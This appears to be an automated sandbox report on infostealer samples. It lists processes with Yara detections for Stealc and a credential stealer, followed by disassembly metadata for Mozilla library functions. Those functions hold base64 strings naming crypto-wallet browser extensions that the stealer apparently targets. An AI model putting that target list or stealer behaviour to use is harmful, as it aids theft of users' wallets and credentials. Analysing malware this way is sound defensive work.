Imagebase:	0xc10000
File size:	2'818'048 bytes
MD5 hash:	994485BEF410515EBACC301BFB847681
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:23:33
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe"
Imagebase:	0x400000
File size:	1'786'368 bytes
MD5 hash:	25E27549E1527D5AAF41A3C33AD2E6D4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3042952469.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2991899149.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:23:43
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	13:23:43
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1988,i,21939172132999769,2787057012611107708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:23:49
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=744 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	13:23:50
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe"
Imagebase:	0x9d0000
File size:	1'868'800 bytes
MD5 hash:	771A68F18853ECF47B4AB531D7AED0ED
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3275745985.00000000010A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3247413160.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3276605524.00000000010AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3267694473.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3210910013.00000000010A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3246273700.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3208479965.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3206642862.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	13:23:56
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:23:56
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2012,i,997493168856611365,3389256609775755856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:23:57
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3384 --field-trial-handle=1988,i,21939172132999769,2787057012611107708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	13:23:58
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7044 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

QPC, xrefs: 6C6538FC
AuthcAMDenti, xrefs: 6C653946
GTC, xrefs: 6C653912
GenuntelineI, xrefs: 6C653639
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C665440 Relevance: 142.3, APIs: 54, Strings: 27, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
YXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZm, xrefs: 6C6657BC
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
[I %d/%d] profiler_init, xrefs: 6C66564E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn, xrefs: 6C665732
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$YXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZm$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init$b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn
API String ID: 3686969729-1811933834
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C69B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69B845
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69B852
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69B884
InitializeConditionVariable.KERNEL32(?), ref: 6C69B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C69B9FD
GetCurrentThreadId.KERNEL32 ref: 6C69BA05
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C69BA27
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69BA4B
free.MOZGLUE(?), ref: 6C69C9C7
free.MOZGLUE(?), ref: 6C69C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C69C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C69C878

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction ID: 752dd629839c1a6c0987d4a292ffdc9fbf9b15080cacb029944776b32ac7a95d
Opcode Fuzzy Hash: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction Fuzzy Hash: FAA2BE71A083818FC721CF29C49079FB7E5BFCA314F144A2DE89997351DB70A949CB9A

